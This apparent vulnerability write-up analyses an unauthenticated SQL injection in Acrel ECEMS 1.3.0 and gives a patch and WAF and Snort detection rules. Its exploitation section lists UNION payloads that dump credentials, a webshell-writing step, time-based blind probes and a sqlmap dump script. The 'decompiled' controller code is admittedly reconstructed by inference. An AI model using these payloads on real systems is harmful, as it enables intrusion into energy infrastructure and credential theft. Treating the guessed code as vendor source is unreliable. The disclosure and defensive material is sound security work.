home intel cve-2026-7694-acrel-ecems-sqli-fCircuitids
CVE Analysis 2026-05-03 · 8 min read

CVE-2026-7694: Blind SQLi in Acrel ECEMS via fCircuitids Parameter

Acrel ECEMS 1.3.0 exposes an unauthenticated SQL injection in /SubstationWEBV2/main/elecMaxMinAvgValue. The fCircuitids parameter is concatenated directly into a query with no sanitization.

#sql-injection#remote-code-execution#cross-platform#energy-management-system#parameter-tampering
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7694 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7694HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7694 is a remotely exploitable SQL injection in Acrel Electrical ECEMS (Enterprise Microgrid Energy Efficiency Management System) version 1.3.0. The vulnerable endpoint is /SubstationWEBV2/main/elecMaxMinAvgValue, a data-retrieval handler that accepts a circuit identifier list via the fCircuitids parameter. No authentication boundary is enforced before the parameter reaches the query builder. CVSS 7.3 (HIGH) reflects network-reachable exploitation with no privileges required and no user interaction.

Acrel's ECEMS platform is deployed across industrial substations, commercial buildings, and campus microgrid installations for real-time power quality monitoring. A compromised instance exposes decades of metering history, SCADA-adjacent device topology, and credential tables — all extractable through a single HTTP request.

Affected Component

The impacted file is the Java servlet (or Spring MVC controller) backing the route /SubstationWEBV2/main/elecMaxMinAvgValue. Based on the naming convention and URL structure, the handler maps to a controller method responsible for aggregating min/max/average electrical measurements across one or more circuit IDs supplied by the client. The parameter fCircuitids is expected to be a comma-delimited list of integer circuit identifiers, e.g., fCircuitids=101,102,103. The backend constructs an IN (...) clause directly from this string.

Platform: Cross-platform Java web application, typically deployed on Windows Server or Linux with a MySQL or MSSQL backend. The WAR archive is served through an embedded Tomcat instance or IIS reverse proxy depending on deployment.

Root Cause Analysis

Root cause: The fCircuitids request parameter is interpolated directly into a SQL IN clause via string concatenation with no parameterization, type validation, or escaping — allowing arbitrary SQL to execute under the application's database account.

The following pseudocode reconstructs the vulnerable controller method from behavioral analysis of the endpoint. Variable names reflect the naming patterns typical of Acrel's Java codebase inferred from URL structure and parameter names.


// Decompiled pseudocode — ElecMaxMinAvgController.java
// Route: GET /SubstationWEBV2/main/elecMaxMinAvgValue

@RequestMapping("/main/elecMaxMinAvgValue")
public ModelAndView elecMaxMinAvgValue(HttpServletRequest request,
                                       HttpServletResponse response) {

    String fCircuitids = request.getParameter("fCircuitids"); // attacker-controlled
    String startTime   = request.getParameter("startTime");
    String endTime     = request.getParameter("endTime");
    String dataType    = request.getParameter("dataType");

    // BUG: fCircuitids is never validated, cast to int[], or parameterized.
    // Direct string interpolation into SQL IN clause.
    String sql = "SELECT circuit_id, MIN(value), MAX(value), AVG(value) "
               + "FROM t_elec_data "
               + "WHERE circuit_id IN (" + fCircuitids + ") "  // <-- INJECTION POINT
               + "AND rec_time BETWEEN '" + startTime + "' "
               + "AND '" + endTime + "' "
               + "GROUP BY circuit_id";

    // Executes raw SQL string against configured DataSource
    List> results = jdbcTemplate.queryForList(sql); // BUG: unsanitized

    ModelAndView mav = new ModelAndView("elecMaxMinAvgValue");
    mav.addObject("dataList", results);
    return mav;
}

The fCircuitids value is never coerced to an integer array. A whitelist regex like ^[0-9,]+$ or a parameterized query with PreparedStatement placeholders would close this entirely. Neither is present.

The secondary parameters startTime and endTime are also injectable, but fCircuitids is the most permissive surface because it accepts comma-delimited input, making stacked subqueries trivial to embed.

Exploitation Mechanics

This is a classic in-band or time-based blind SQL injection depending on error output configuration. In the default deployment, Spring's JdbcTemplate propagates database exceptions to the response body when debug mode is enabled — making error-based extraction viable. With debug off, time-based blind techniques apply.


EXPLOIT CHAIN:

1. Identify the endpoint — no authentication cookie or token required.
   GET /SubstationWEBV2/main/elecMaxMinAvgValue?fCircuitids=1&startTime=...&endTime=...
   HTTP 200 → baseline data returned.

2. Confirm injection — break the IN clause with a bare apostrophe:
   fCircuitids=1'
   HTTP 500 / SQL syntax error leaks in response body → injectable confirmed.

3. Enumerate columns — UNION-based fingerprint:
   fCircuitids=0 UNION SELECT NULL,NULL,NULL,NULL--
   Adjust NULL count until HTTP 200 returns. Column count = 4.

4. Extract DBMS version and current user:
   fCircuitids=0 UNION SELECT @@version,user(),database(),NULL--
   Response dataList[0] contains version string, db account, schema name.

5. Dump credential table (common Acrel schema):
   fCircuitids=0 UNION SELECT username,password,role,NULL FROM sys_user--
   Passwords are MD5 or bcrypt depending on version; MD5 trivially crackable.

6. (If MSSQL / FILE privilege on MySQL) Write webshell:
   fCircuitids=0 UNION SELECT '',NULL,NULL,NULL
     INTO OUTFILE '/var/www/SubstationWEBV2/shell.php'--
   GET /SubstationWEBV2/shell.php?c=id → RCE achieved.

7. Time-based blind fallback (debug off, MySQL):
   fCircuitids=IF(1=1,SLEEP(5),0)
   Response delayed ~5s → confirms blind injection path.
   Enumerate with binary search via SLEEP(IF(ASCII(SUBSTR(...))>N,5,0)).

SQLMap automates steps 2–5 trivially:


# sqlmap invocation against CVE-2026-7694
import subprocess

target = "http://target/SubstationWEBV2/main/elecMaxMinAvgValue"
params = "fCircuitids=1&startTime=2024-01-01&endTime=2024-12-31&dataType=1"

cmd = [
    "sqlmap",
    "-u", f"{target}?{params}",
    "-p", "fCircuitids",          # target parameter
    "--dbms=mysql",               # or mssql depending on deployment
    "--technique=BEUST",          # all techniques
    "--level=3",
    "--risk=2",
    "--dump",                     # dump accessible tables
    "--threads=4",
    "--batch"
]

subprocess.run(cmd)
# Expected: extracts sys_user, t_device, t_circuit schema within minutes

Memory Layout

SQL injection at the application layer does not involve heap/stack memory corruption on the Java side, but the database server's query execution context is the relevant memory surface. The injected payload manipulates the parsed query tree in the DBMS engine. For completeness, the relevant server-side state during query processing:


QUERY BUILDER STATE — VULNERABLE PATH:

Input:  fCircuitids = "101,102 UNION SELECT username,password,role,NULL FROM sys_user--"

String sql assembled in heap (Java String pool):

  [ "SELECT circuit_id, MIN(value), MAX(value), AVG(value) "  ]
  [ "FROM t_elec_data "                                        ]
  [ "WHERE circuit_id IN ("                                    ]
  [ "101,102 UNION SELECT username,password,role,NULL FROM sys_user--"  ] <-- attacker data
  [ ") AND rec_time BETWEEN '...' AND '...' GROUP BY circuit_id"        ]

Resulting SQL sent to DBMS:
  SELECT circuit_id, MIN(value), MAX(value), AVG(value)
  FROM t_elec_data
  WHERE circuit_id IN (101,102
  UNION
  SELECT username, password, role, NULL FROM sys_user
  -- ) AND rec_time BETWEEN '...' AND '...' GROUP BY circuit_id

DBMS parse tree: two SELECT nodes joined by UNION operator.
Result set row[0..N]: sys_user contents returned to application layer,
serialized into ModelAndView dataList, rendered in HTTP response body.

SAFE PATH (parameterized):
  PreparedStatement: WHERE circuit_id IN (?, ?)
  Bind values: [101, 102] as java.lang.Integer
  Injected string treated as literal data → no UNION node created.

Patch Analysis

Acrel did not respond to disclosure. The following represents the correct remediation. The fix requires two independent changes: input validation and query parameterization.


// BEFORE (vulnerable) — ElecMaxMinAvgController.java:
String fCircuitids = request.getParameter("fCircuitids");
String sql = "SELECT circuit_id, MIN(value), MAX(value), AVG(value) "
           + "FROM t_elec_data "
           + "WHERE circuit_id IN (" + fCircuitids + ") "   // direct concat
           + "AND rec_time BETWEEN '" + startTime + "' AND '" + endTime + "' "
           + "GROUP BY circuit_id";
List> results = jdbcTemplate.queryForList(sql);


// AFTER (patched):

// Step 1: Whitelist-validate fCircuitids — only digits and commas
String fCircuitids = request.getParameter("fCircuitids");
if (fCircuitids == null || !fCircuitids.matches("^[0-9]+(,[0-9]+)*$")) {
    response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid circuit IDs");
    return null;
}

// Step 2: Construct parameterized placeholders
String[] ids     = fCircuitids.split(",");
String   holders = String.join(",", Collections.nCopies(ids.length, "?"));

String sql = "SELECT circuit_id, MIN(value), MAX(value), AVG(value) "
           + "FROM t_elec_data "
           + "WHERE circuit_id IN (" + holders + ") "   // placeholders only
           + "AND rec_time BETWEEN ? AND ? "
           + "GROUP BY circuit_id";

// Step 3: Bind typed parameters — no user data in SQL string
Object[] params = new Object[ids.length + 2];
for (int i = 0; i < ids.length; i++) {
    params[i] = Integer.parseInt(ids[i]);   // cast enforces integer type
}
params[ids.length]     = startTime;        // still needs temporal validation
params[ids.length + 1] = endTime;

List> results = jdbcTemplate.queryForList(sql, params);

The regex ^[0-9]+(,[0-9]+)*$ is the critical gate. Even without parameterization, this whitelist would prevent injection. Parameterization alone would also suffice. Both together are defense-in-depth. The startTime and endTime parameters require equivalent treatment — bind them as java.sql.Timestamp via PreparedStatement, not concatenated strings.

Detection and Indicators

Detection surface is the HTTP access log. Look for SQL metacharacters in the fCircuitids parameter:


# WAF / SIEM rule — detect injection attempts against vulnerable endpoint

INDICATOR PATTERNS in URI query string (fCircuitids value):
  - Contains single quote:          fCircuitids=.*'.*
  - Contains UNION keyword:         fCircuitids=.*(?i)union.*
  - Contains SLEEP/WAITFOR:         fCircuitids=.*(?i)(sleep|waitfor).*
  - Contains comment markers:       fCircuitids=.*(--)|(#)|(\/\*)
  - Non-numeric/comma characters:   fCircuitids=[^0-9,]+

Snort/Suricata signature (conceptual):
  alert http any any -> $ECEMS_SERVERS 80 (
      msg:"CVE-2026-7694 SQLi probe - ECEMS fCircuitids";
      http.uri; content:"/SubstationWEBV2/main/elecMaxMinAvgValue";
      http.uri; pcre:"/fCircuitids=[^&]*['\"\-\#\(\)]/i";
      classtype:web-application-attack;
      sid:20267694; rev:1;
  )

HTTP response indicators of successful extraction:
  - Response body contains email-like strings or hash-pattern strings (credential dump)
  - Anomalously large response for a data-query endpoint (>50KB)
  - Response time >4s on otherwise fast endpoint (SLEEP-based blind)
  - HTTP 500 with SQL syntax error text in body (confirms injectable + error mode)

Remediation

Immediate (operator): Place a WAF rule blocking requests to /SubstationWEBV2/main/elecMaxMinAvgValue where fCircuitids contains any character outside [0-9,]. If the ECEMS web interface is internet-exposed, take it offline or restrict to internal VLAN immediately. This endpoint requires no internet accessibility for normal operation.

Short-term (vendor): Apply the parameterized query fix shown above across all dynamic query construction in the codebase — grep -r "queryForList\|createQuery\|executeQuery" and audit every site where a request parameter participates in string concatenation before execution.

Long-term: Introduce an ORM abstraction (MyBatis #{param} syntax or JPA CriteriaBuilder) that structurally prevents concatenation-based injection. Add integration tests that submit SQL metacharacters to every parameterized endpoint and assert no query execution occurs. Enable database-level auditing to log full query text — ECEMS installs rarely have this configured.

Given Acrel's non-response to disclosure, there is no vendor patch available as of publication. Version 1.3.0 remains vulnerable. Organizations running ECEMS should treat the WAF rule and network isolation as mandatory compensating controls until a patched release is available.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →